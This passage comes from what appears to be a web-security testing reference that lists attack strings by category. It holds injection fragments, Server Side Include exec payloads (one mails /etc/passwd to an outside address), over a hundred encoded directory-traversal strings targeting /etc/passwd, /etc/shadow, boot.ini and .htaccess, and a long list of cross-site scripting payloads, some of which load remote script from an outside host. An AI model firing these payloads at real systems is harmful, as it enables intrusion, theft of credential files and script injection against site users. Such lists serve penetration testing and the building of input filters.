%2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT 